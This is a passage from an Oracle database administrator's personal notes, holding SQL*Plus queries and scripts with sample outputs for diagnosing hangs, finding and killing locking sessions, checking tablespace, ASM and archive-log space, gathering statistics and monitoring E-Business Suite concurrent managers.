'listen endpoint status','slave wait','wakeup time manager')
and sw.seconds_in_wait > 0
order by sw.seconds_in_wait desc;
-- WAIT CHAINS
-- 11.x+ Only (This will not work in < v11
-- See Note 1428210.1 for instructions on interpreting.
set pages 1000
set lines 120
set heading off
column w_proc format a50 tru
column instance format a20 tru
column inst format a28 tru
column wait_event format a50 tru
column p1 format a16 tru
column p2 format a16 tru
column p3 format a15 tru
column seconds format a50 tru
column sincelw format a50 tru
column blocker_proc format a50 tru
column waiters format a50 tru
column chain_signature format a100 wra
column blocker_chain format a100 wra
SELECT *
FROM (SELECT 'Current Process: '||osid W_PROC, 'SID '||i.instance_name INSTANCE,
'INST #: '||instance INST,'Blocking Process: '||decode(blocker_osid,null,'',blocker_osid)||
' from Instance '||blocker_instance BLOCKER_PROC,'Number of waiters: '||num_waiters waiters,
'Wait Event: ' ||wait_event_text wait_event, 'P1: '||p1 p1, 'P2: '||p2 p2, 'P3: '||p3 p3,
'Seconds in Wait: '||in_wait_secs Seconds, 'Seconds Since Last Wait: '||time_since_last_wait_secs sincelw,
'Wait Chain: '||chain_id ||': '||chain_signature chain_signature,'Blocking Wait Chain: '||decode(blocker_chain_id,null,
'',blocker_chain_id) blocker_chain
FROM v$wait_chains wc,
v$instance i
WHERE wc.instance = i.instance_number (+)
AND ( num_waiters > 0
OR ( blocker_osid IS NOT NULL
AND in_wait_secs > 10 ) )
ORDER BY chain_id,
num_waiters DESC)
WHERE ROWNUM < 101;

-- Taking Hang Analyze dumps
-- This may take a little while...
oradebug setmypid
oradebug unlimit
oradebug -g all hanganalyze 3
-- This part may take the longest, you can monitor bdump or udump to see
-- if the file is being generated.
oradebug -g all dump systemstate 258
set echo off
select to_char(sysdate) time from dual;
spool off
-- ---------------------------------------------------------------------------
Prompt;
Prompt racdiag output files have been written to:;
Prompt;
host pwd
Prompt alert log and trace files are located in:;
column host_name format a12 tru
column name format a20 tru
column value format a60 tru
select distinct i.host_name, p.name, p.value
from gv$instance i, gv$parameter p
where p.inst_id = i.inst_id (+)
and p.name like '%_dump_dest'
and p.name != 'core_dump_dest';


quickSQL2017
KILL LOCKED SESSION/OBJECTS
====================
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE USERNAME like 'XXHR' and machine like 'KOUNCIL%';

SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in ('QIA123');
select osuser,machine,terminal,program,logon_time,status,action FROM  GV$SESSION WHERE USERNAME like 'XXHR' and machine like 'KOUNCIL%' order by terminal,logon_time;

SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in ('QIA234')

KILL SESSIONS LOCKING OBJECTS
=============================
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.CLIENT_IDENTIFIER,
   b.status,
   b.osuser,
   b.machine
from
   gv$locked_object a ,
   gv$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id AND OBJECt_NAME LIKE 'XXHR_REST_%' AND b.STATUS='INACTIVE' order by b.client_identifier;

SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in
(select
   distinct
   b.CLIENT_IDENTIFIER
from
   gv$locked_object a ,
   gv$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id AND OBJECt_NAME LIKE 'XXHR_REST_%' AND b.client_identifier like 'AD1%' AND b.STATUS='INACTIVE');



LOCKED OBJECTS IN DATABASE
===========================
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.CLIENT_IDENTIFIER,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id order by b.client_identifier;

select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.CLIENT_IDENTIFIER,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id order by b.client_identifier;
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in (
select
  b.CLIENT_IDENTIFIER
  from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id
   and c.OBJECT_NAME like 'XXHR_REST_%'
)

session information
----------------------
SELECT INST_ID,SID,SERIAL#,USERNAME,STATUS,SCHEMANAME,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE MACHINE NOT IN ('PIESAPPL','PIESDB1','PIESDB2') AND OSUSER NOT IN ('SYSTEM')
AND lower(MODULE) NOT IN ('oraagent.exe','piaceclasslibraryhost.exe','wireportserver.exe','rdbmspi.exe') AND OSUSER NOT IN ('AA1007860','AD1007860') ORDER BY USERNAME,LOGON_TIME;
SELECT user_name username,
description name,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 3 DESC
/
SELECT user_name username,
description name,
to_char(b.first_connect,'MM/DD/RR HH24:MI') firstconnect,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 4 DESC
/
USER_SESSIONS_IN_LAST_4HOURS
-----------------------------
SELECT fn.node_name, 'Number of user sessions : ' || COUNT(DISTINCT session_id) user_sessions_in_last_6_Hours
FROM icx_sessions icx, fnd_nodes fn
WHERE fn.node_id = icx.node_id AND last_connect > sysdate -(4 / 24) AND disabled_flag != 'Y' AND pseudo_flag = 'N'
GROUP BY fn.node_name;
select icx.node_id,fnd.node_name,'Number of user sessions : ' || count( distinct icx.session_id) How_many_user_sessions
from icx_sessions icx, fnd_nodes fnd where icx.disabled_flag != 'Y'
and icx.PSEUDO_FLAG = 'N'
and icx.node_id=fnd.node_id
and (icx.last_connect + decode(FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT'), NULL,icx.limit_time, 0,
icx.limit_time,FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT')/60)/24) > sysdate and counter < icx.limit_connects
group by icx.node_id,fnd.node_name;

select * from gv$resource_limit;
SELECT * FROM V$DATABASE_BLOCK_CORRUPTION;
SELECT * FROM V$BACKUP_CORRUPTION;
SELECT * FROM V$DATAFILE WHERE UNRECOVERABLE_CHANGE#<>0;
SELECT * FROM V$DATAFILE WHERE STATUS IN ('OFFLINE','SYSOFF');
select status from v$instance;
select count(*) from dba_objects where status='INVALID';
SELECT TABLESPACE_NAME,SUM(BYTES)/1024/1024 "free space in MB" FROM DBA_FREE_SPACE GROUP BY TABLESPACe_NAME order by 2;
SELECT T.TS#,T.NAME,D.NAME,d.bytes/1024/1024 FROM V$TABLESPACE T, V$DATAFILE D WHERE T.TS#=D.TS#;
select opname,time_remaining from v$session_longops where time_remaining<>0;

select icx.node_id,fnd.node_name,'Number of user sessions : ' || count( distinct icx.session_id) How_many_user_sessions
from icx_sessions icx, fnd_nodes fnd where icx.disabled_flag != 'Y'
 and icx.PSEUDO_FLAG = 'N'
 and icx.node_id=fnd.node_id
 and (icx.last_connect + decode(FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT'), NULL,icx.limit_time, 0,
 icx.limit_time,FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT')/60)/24) > sysdate and counter < icx.limit_connects
 group by icx.node_id,fnd.node_name;
NODE_ID  NODE_NAME  HOW_MANY_USER_SESSIONS
------------------------------------------------------------------
3160   EBSLXPRDAP1  Number of user sessions : 44
5159   EBSLXPRDAP2  Number of user sessions : 251
6159   CAREERS  Number of user sessions : 27

select b.tablespace_name, tbs_size SizeMb, a.free_space FreeMB
from  (select tablespace_name, round(sum(bytes)/1024/1024 ,2) as free_space
       from dba_free_space
       group by tablespace_name) a,
      (select tablespace_name, sum(bytes)/1024/1024 as tbs_size
       from dba_data_files
       group by tablespace_name) b
where a.tablespace_name(+)=b.tablespace_name
ORDER BY 2 DESC;
TABLESPACE_NAME                    SIZEGB     FREEGB
------------------------------ ---------- ----------
APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08APPS_TS_TX_IDX                 84.8369141      47.32
APPS_TS_TX_DATA                 73.140625        .63
APPS_TS_MEDIA                   38.671875        .69
APPS_TS_SEED                   25.8789063        .08

query to check if tablespace/datafile/database is in active begin backup mode
------------------------------------------------------------------------------
 SELECT d.tablespace_name, b.time, b.status
 FROM dba_data_files d, v$backup b
 WHERE
 d.file_id = b.FILE#
 AND b.STATUS = 'ACTIVE' ;

GENERATED INVALID OBJECTS COMPILE STATEMENT
-------------------------------------------
 select
  'ALTER ' || OBJECT_TYPE || ' ' ||
    OWNER || '.' || OBJECT_NAME || ' COMPILE;'
    from
    dba_objects
    where
    status = 'INVALID'
    and
    object_type in ('PACKAGE','FUNCTION','PROCEDURE')
   ;




-----------------
size of  schemaS
----------------
SELECT s.owner,SUM (s.BYTES) / (1024 * 1024) SIZE_IN_MB FROM dba_segments s GROUP BY s.owner order by 2 desc;
BO_SYSTEM                        118.0625
BO_AUDIT                           1.1875
BOCMS                             47.3125
BOAUDIT                              8.25



table size
----------
SELECT owner,
segment_name,
segment_type,
tablespace_name,
bytes/1048576 MB,
initial_extent,
next_extent,
extents,
pct_increase
FROM
DBA_SEGMENTS
WHERE
OWNER = 'schema name here' AND
SEGMENT_NAME = 'table name here' AND
SEGMENT_TYPE = 'TABLE';
OWNER      SEGMENT_NAME    SEGMENT_TYPE       TABLESPACE_NAME      MB      INITIAL_EXTENT  NEXT_EXTENT    EXTENTS PCT_INCREASE
--------------------- ------------------ ------------------------------ ---------- -------------- ----------- ---------- -----
MAXIMO   WFASSIGNMENT        TABLE              MAXDATA            4594          81920     1048576        255

TOTAL DATABASE SIZE, USED SPACE & FREE SPACE DATABASE SIZE
=============
--------------------------------------------
select round(sum(used.bytes) / 1024 / 1024 / 1024 ) || ' GB' "Database Size"
, round(sum(used.bytes) / 1024 / 1024 / 1024 ) -
 round(free.p / 1024 / 1024 / 1024) || ' GB' "Used space"
, round(free.p / 1024 / 1024 / 1024) || ' GB' "Free space"
from    (select bytes
 from v$datafile
 union all
 select bytes
 from  v$tempfile
 union  all
 select  bytes
 from  v$log) used
, (select sum(bytes) as p
 from dba_free_space) free
group by free.p;

Which schemas are taking up all of the space
----------------------------------------------
select obj.owner "Owner"
, obj_cnt "Objects"
, decode(seg_size, NULL, 0, seg_size) "size MB"
from  (select owner, count(*) obj_cnt from dba_objects group by owner) obj
, (select owner, ceil(sum(bytes)/1024/1024) seg_size
 from dba_segments group by owner) seg
where  obj.owner  = seg.owner(+)
order by 3 desc ,2 desc, 1;

CHECK TABLE IN WHICH TABLESPACE
-------------------------------
select owner, table_name, tablespace_name
from dba_tables
where table_name='FND_USER';



check total temporary space usage
---------------------------------
select a.tablespace_name, a.contents, b.total_space,
       to_char(nvl(c.used_space,0),'99,999,990')||' ('||to_char(100*nvl(c.used_space,0)/nvl(b.total_space,1),'fm990')||'%)' used_space,
       to_char(nvl(d.free_space,0),'99,999,990')||' ('||to_char(100*nvl(d.free_space,0)/nvl(b.total_space,1),'fm990')||'%)' free_space
from   sys.dba_tablespaces a,
      (select tablespace_name, sum(bytes)/1024/1024 total_space
       from   sys.dba_temp_files
       group by tablespace_name) b,
      (select su.tablespace tablespace_name, sum(su.blocks*tb.block_size)/1024/1024 used_space, sum(su.extents) used_extents
       from   sys.gv_$sort_usage su, sys.dba_tablespaces tb, sys.gv_$session ss
       where  su.tablespace   = tb.tablespace_name
       and    su.inst_id      = ss.inst_id
       and    su.session_addr = ss.saddr
       and    ss.status in ('ACTIVE','INACTIVE')
       group by su.tablespace) c,
      (select tablespace_name, nvl(t2.total_space,0) - nvl(t1.used_space,0) free_space
       from  (select su.tablespace, sum(su.blocks*tb.block_size)/1024/1024 used_space
              from   sys.gv_$sort_usage su, sys.dba_tablespaces tb, sys.gv_$session ss
              where  su.tablespace   = tb.tablespace_name
              and    su.inst_id      = ss.inst_id
              and    su.session_addr = ss.saddr
              and    ss.status in ('ACTIVE','INACTIVE')
              group by su.tablespace) t1,
             (select tablespace_name, sum(bytes)/1024/1024 total_space
              from   sys.dba_temp_files
              group by tablespace_name) t2
       where  t1.tablespace(+) = t2.tablespace_name) d
where  a.tablespace_name = b.tablespace_name(+)
and    a.tablespace_name = c.tablespace_name(+)
and    a.tablespace_name = d.tablespace_name(+)
and    a.contents        = 'TEMPORARY'
order by a.tablespace_name
/
Query to check connected users
------------------------------
select
  username,
  osuser,
  terminal,
  utl_inaddr.get_host_address(terminal) IP_ADDRESS
from
  v$session
where
  username is not null
order by
  username,
  osuser;

TOP 50 TABLES BY SIZE
=====================
select top50.owner, top50.table_name, meg, a.num_rows
from dba_tables a,
   (Select * from (
SELECT
   owner, table_name, TRUNC(sum(bytes)/1024/1024) Meg
FROM
(SELECT segment_name table_name, owner, bytes
 FROM dba_segments
 WHERE segment_type like 'TABLE%'
 UNION ALL
 SELECT i.table_name, i.owner, s.bytes
 FROM dba_indexes i, dba_segments s
 WHERE s.segment_name = i.index_name
 AND   s.owner = i.owner
 AND   s.segment_type like 'INDEX%'
 UNION ALL
 SELECT l.table_name, l.owner, s.bytes
 FROM dba_lobs l, dba_segments s
 WHERE s.segment_name = l.segment_name
 AND   s.owner = l.owner
 AND   s.segment_type = 'LOBSEGMENT'
 UNION ALL
 SELECT l.table_name, l.owner, s.bytes
 FROM dba_lobs l, dba_segments s
 WHERE s.segment_name = l.index_name
 AND   s.owner = l.owner
 AND   s.segment_type = 'LOBINDEX')
GROUP BY table_name, owner
HAVING SUM(bytes)/1024/1024 > 10  /* Ignore small tables */
ORDER BY SUM(bytes) desc
) where rownum < 51) top50
where top50.owner =a.owner
and top50.table_name = a.table_name
order by meg desc, num_rows desc;





REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS
SELECT
    a.GROUP#,
    a.THREAD#,
    a.SEQUENCE#,
    a.ARCHIVED,
    a.STATUS,
    b.MEMBER    AS REDOLOG_FILE_NAME,
    (a.BYTES/1024/1024) AS SIZE_MB
FROM v$log a
JOIN v$logfile b ON a.Group#=b.Group#
ORDER BY a.GROUP# ASC;

add new redo log group and members of each 250M
-----------------------------------------------
ALTER DATABASE ADD LOGFILE thread 2 group 14 ('+DATA_EXA1/erpprd/ONLINELOG/log14a.rdo','+RECO_EXA1/erpprd/ONLINELOG/log14b.rdo') SIZE 250M;







FLASH RECOVERY AREA
-------------------
-------------------
====================
Percentage space used not feeable
-----------------------------------
SELECT Sum(percent_space_used)-Sum(percent_space_reclaimable) "PCT_SPACE_USED_NOT_FREEABLE" FROM v$flash_recovery_area_usage;
select * from v$flash_Recovery_Area_usage;


ABOUT ARCHIVE FILES
-------------------
===================
select trunc(first_time), sum(blocks*block_size)/1048576 Size_MB
from v$archived_log
where first_time > trunc(sysdate)-12
group by trunc(first_time)
order by 1;
select * from v$archived_log
where first_time>sysdate-1
order by first_time,thread#;
Check the last archive log applied or generated.
-------------------------------------------------
SQL> SELECT thread#,max(SEQUENCE#) FROM V$ARCHIVED_LOG group by thread#;
   THREAD# MAX(SEQUENCE#)
---------- --------------
         1          29926
         2           9871
Each user and their roles and privileges whose account_status='OPEN'
---------------------------------------------------------------------
select
  lpad(' ', 2*level) || granted_role "User, his roles and privileges"
from
  (
  /* THE USERS */
    select
      null     grantee,
      username granted_role
    from
      dba_users
    where
    account_status='OPEN'
  /* THE ROLES TO ROLES RELATIONS */
  union
    select
      grantee,
      granted_role
    from
      dba_role_privs
  /* THE ROLES TO PRIVILEGE RELATIONS */
  union
    select
      grantee,
      privilege
    from
      dba_sys_privs
  )
start with grantee is null
connect by grantee = prior granted_role;
SQL> SELECT * FROM dba_sys_privs WHERE privilege = 'UNLIMITED TABLESPACE';
GRANTEE                        PRIVILEGE                                ADM
------------------------------ ---------------------------------------- ---
BO                             UNLIMITED TABLESPACE                     NO
CD_INVENTORY                   UNLIMITED TABLESPACE                     NO
DBSNMP                         UNLIMITED TABLESPACE                     NO
DOAADMIN                       UNLIMITED TABLESPACE                     NO
IDMS                           UNLIMITED TABLESPACE                     NO
IXIDMS                         UNLIMITED TABLESPACE                     NO
MAILING                        UNLIMITED TABLESPACE                     NO
NTEXCHANGE                     UNLIMITED TABLESPACE                     NO
NTEXCHANGE_RO                  UNLIMITED TABLESPACE                     NO
OUTLN                          UNLIMITED TABLESPACE                     NO
SYS                            UNLIMITED TABLESPACE                     YES
SYSTEM                         UNLIMITED TABLESPACE                     YES
TEL_DIR                        UNLIMITED TABLESPACE                     NO
SELECT dd.tablespace_name tablespace_name, dd.file_name file_name, dd.bytes/1024/1024 TABLESPACE_MB, SUM(fs.bytes)/1024/1024 MBYTES_FREE, MAX(fs.bytes)/1024/1024 NEXT_FREE_MB
FROM sys.dba_free_space fs, sys.dba_data_files dd
WHERE dd.tablespace_name = fs.tablespace_name
AND dd.file_id = fs.file_id
GROUP BY dd.tablespace_name, dd.file_name, dd.bytes/1024/1024
ORDER BY dd.tablespace_name, dd.file_name;
TABLESPACE_NAME  FILE_NAME    TABLESPACE_MB  MBYTES_FREE  NEXT_FREE_MB
------------- ----------- ------------------------- ----------- -----------------------------
ADMIN   E:\ORADATA\SML\ADMIN01.ORA      50    46.5546875      46.28125
RBSN  F:\ORADATA\SML\RBSN1.ORA        150  74.8359375 74.8359375

select df.tablespace_name "Tablespace",
totalusedspace "Used MB",
(df.totalspace - tu.totalusedspace) "Free MB",
df.totalspace "Total MB",
round(100 * ( (df.totalspace - tu.totalusedspace)/ df.totalspace))
"Pct. Free"
from
(select tablespace_name,
round(sum(bytes) / 1048576) TotalSpace
from dba_data_files
group by tablespace_name) df,
(select round(sum(bytes)/(1024*1024)) totalusedspace, tablespace_name
from dba_segments
group by tablespace_name) tu
where df.tablespace_name = tu.tablespace_name ;

Tablespace                        Used MB    Free MB   Total MB  Pct. Free
------------------------------ ---------- ---------- ---------- ----------
ADMIN                                   3         48         51         94
RBSN                                   75         75        150         50
SYSTEM                                 74        176        250         70
USER_DATA                             546        954       1500         64

AUTOEXTEND ON QUERY
---------------------
select
   'alter database datafile '||
   file_name||
   ' '||
   ' autoextend on;'
from
   dba_data_files;

BIETL SESSION CONNECTED TO THE DATABASE NOW AND KILL SESSION SCRIPT TO BE GENERATED FOR THIS USER
**********************************----------------------------------*****************************
declare
  v_sid            pls_integer;
  v_serial#        pls_integer;
  v_user_name      varchar2(30);
  v_status         varchar2(20);
  v_error_code     number;
  v_error_text     varchar2(255);
  cursor c1 is
    select sid, serial#, username, status
    from   sys.v_$session
    where  type = 'USER'
    and    username ='BIETL'
    and    status   in ('ACTIVE','INACTIVE')
    and    username is not null
    and    sid      is not null
    and    serial#  is not null
    order by username, sid, serial#;
begin
  open c1;
  fetch c1 into v_sid, v_serial#, v_user_name, v_status;
  while c1%found loop
    dbms_output.put_line('alter system kill session '||rpad(''''||to_char(v_sid)||','||to_char(v_serial#)||'''',20,' ')||' immediate;');
    dbms_output.put_line('exit;');
    fetch c1 into v_sid, v_serial#, v_user_name, v_status;
  end loop;
  close c1;
end;
/
GATHER SCHEMA STATISTICS
------------------------
select count(table_name)  from  dba_tables  where  last_analyzed  is  NOT null AND OWNER='KOUNCIL';
ALTER SESSION SET NLS_DATE_FORMAT='DD/MON/YYYY HH:MI:SS AM';
select *  from  dba_tables  where  last_analyzed  is  not null AND OWNER='KOUNCIL';

EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS(ownname => 'BIETL', estimate_percent => 100, degree => 8, method_opt => 'FOR ALL COLUMNS SIZE AUTO', granularity => 'ALL', cascade => TRUE, options => 'GATHER');
EXECUTE DBMS_STATS.GATHER_DATABASE_STATS;
exec fnd_stats.gather_schema_statistics('GL');          <- One schema FROM ORACLE APPS
exec fnd_stats.gather_schema_statistics('ALL');         <- All schemas FROM ORACLE APPS
exec fnd_stats.gather_table_stats('GL','GL_JE_LINES');  <- One table FROM ORACLE APPS
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS(ownname => 'BIETL', estimate_percent => 100, degree => 8, method_opt => 'FOR ALL COLUMNS SIZE AUTO', granularity => 'ALL', cascade => TRUE, options => 'GATHER');
SET TIME ON;
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('KOUNCIL');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('EB');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('APPLSYS');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('APPS');
EXECUTE DBMS_STATS.GATHER_database_STATS();

Users of a responsibility - to know who are users of a specific responsibility like 'system administrator'.
-----------------------------------------------------------------------------------------------------------
select usr.user_id, usr.user_name,usr.DESCRIPTION, res.RESPONSIBILITY_NAME, res.RESPONSIBILITY_ID
from apps.FND_USER usr, apps.FND_RESPONSIBILITY_TL res, apps.FND_USER_RESP_GROUPS grp
where upper(res.RESPONSIBILITY_NAME) like upper('%' || NVL('SYSTEM ADMINISTRATOR', 'INV')|| '%')
and upper(res.RESPONSIBILITY_NAME) NOT like '%AX%'
and upper(res.RESPONSIBILITY_NAME) NOT like '%OPM%'
and grp.responsibility_id = res.responsibility_id
and grp.user_id = usr.user_id;


select opname,message,time_remaining from v$session_longops where time_remaining<>0;
select * from v$session_longops where time_remaining<>0;

ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM
select NAME,
round((TOTAL_MB/1024),5) "Total GB",
round((TOTAL_MB-FREE_MB)/1024,5) "Used GB",
round(FREE_MB/1024,5) "Free GB",
round((((TOTAL_MB - FREE_MB)/TOTAL_MB) * 100),5) "% Used",
round((((TOTAL_MB - (TOTAL_MB - FREE_MB))/TOTAL_MB) * 100),5) "% Free"
from v$asm_diskgroup
order by NAME;
NAME                             Total GB    Used GB    Free GB     % Used    % Free
------------------------------ ---------- ---------- ---------- --------------------
OCR_VOTE                          2.99414      .9043    2.08984   30.20222  69.79778
PIEU_DATA                       199.99414  174.44336   25.55078   87.22424  12.77576
PIEU_FLASH                      399.99414    17.4834  382.51074    4.37091  95.62909
SELECT name, type, ceil(total_mb / 1024) total_gb, ceil(free_mb / 1024) free_gb, required_mirror_free_mb, ceil((usable_file_mb) / 1024)
FROM v$asm_diskgroup;
SELECT d.name disk_name, g.name group_name, d.path, d.total_mb, d.free_mb
FROM v$asm_disk d, v$asm_diskgroup g
WHERE d.group_number = g.group_number(+);
SELECT *
FROM v$asm_diskgroup;
SELECT name, type, total_mb, free_mb, required_mirror_free_mb, usable_file_mb
FROM v$asm_diskgroup;


=====WITH KEYWORD QUERY=====
WITH got_prnum_cnt AS
(
 SELECT  ponum, prnum, COUNT(DISTINCT prnum) OVER (PARTITION BY ponum) AS prnum_cnt
 FROM    prline
)
SELECT ponum, prnum
FROM got_prnum_cnt
WHERE prnum_cnt > 1
;

select wonum from PLUSGMOCREQUEST where workorderid in (
WITH DATA (OWNERID,ASSIGNSTATUS) AS (SELECT OWNERID,ASSIGNSTATUS FROM WFASSIGNMENT WHERE OWNERID IN (SELECT DISTINCT OWNERID FROM WFINSTANCE WHERE ACTIVE=1) ORDER BY OWNERID)
SELECT OWNERID
FROM DATA
group by OWNERID
having MAX(CASE ASSIGNSTATUS WHEN 'ACTIVE' THEN ASSIGNSTATUS ELSE NULL END) is null);

CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT
CHECK CONCURRENT MANAGER STATUS FROM BACK END
-----------------------------------------------
select decode(CONCURRENT_QUEUE_NAME,
 'FNDICM','Internal Manager',
 'FNDCRM','Conflict Resolution Manager',
 'AMSDMIN','Marketing Data Mining Manager',
 'C_AQCT_SVC','C AQCART Service',
 'FFTM','FastFormula Transaction Manager',
 'FNDCPOPP','Output Post Processor',
 'FNDSCH','Scheduler/Prereleaser Manager',
 'FNDSM_AQHERP','Service Manager: AQHERP',
 'FTE_TXN_MANAGER','Transportation Manager',
 'IEU_SH_CS','Session History Cleanup',
 'IEU_WL_CS',
 'UWQ Worklist Items Release for Crashed session',
 'INVMGR','Inventory Manager','
 INVTMRPM','INV Remote Procedure Manager','OAMCOLMGR',
 'OAM Metrics Collection Manager',
 'PASMGR','PA Streamline Manager',
 'PODAMGR','PO Document Approval Manager',
 'RCVOLTM','Receiving Transaction Manager',
 'STANDARD','Standard Manager',
 'WFALSNRSVC','Workflow Agent Listener Service',
 'WFMLRSVC','Workflow Mailer Service','WFWSSVC',
 'Workflow Document Web Services Service',
 'WMSTAMGR','WMS Task Archiving Manager',
 'XDP_APPL_SVC','SFM Application Monitoring Service',
 'XDP_CTRL_SVC',
 'SFM Controller Service',
 'XDP_Q_EVENT_SVC','SFM Event Manager Queue Service',
 'XDP_Q_FA_SVC','SFM Fulfillment Actions Queue Service',
 'XDP_Q_FE_READY_SVC','SFM Fulfillment Element Ready Queue Service',
 'XDP_Q_IN_MSG_SVC','SFM Inbound Messages Queue Service',
 'XDP_Q_ORDER_SVC',
 'SFM Order Queue Service',
 'XDP_Q_TIMER_SVC','SFM Timer Queue Service',
 'XDP_Q_WI_SVC','SFM Work Item Queue Service',
 'XDP_SMIT_SVC','SFM SM Interface Test Service') as "Concurrent Manager's Name",
  max_processes as "TARGET Processes",
  running_processes as "ACTUAL Processes"
  from apps.fnd_concurrent_queues
 where CONCURRENT_QUEUE_NAME
 in ('FNDICM','FNDCRM','AMSDMIN','C_AQCT_SVC','FFTM','FNDCPOPP','FNDSCH','FNDSM_AQHERP','FTE_TXN_MANAGER','IEU_SH_CS','IEU_WL_CS','INVMGR','INVTMRPM',
 'OAMCOLMGR','PASMGR','PODAMGR','RCVOLTM','STANDARD','WFALSNRSVC','WFMLRSVC','WFWSSVC','WMSTAMGR','XDP_APPL_SVC','XDP_CTRL_SVC','XDP_Q_EVENT_SVC',
 'XDP_Q_FA_SVC','XDP_Q_FE_READY_SVC','XDP_Q_IN_MSG_SVC','XDP_Q_ORDER_SVC','XDP_Q_TIMER_SVC','XDP_Q_WI_SVC','XDP_SMIT_SVC')
 order by 3 desc
 /


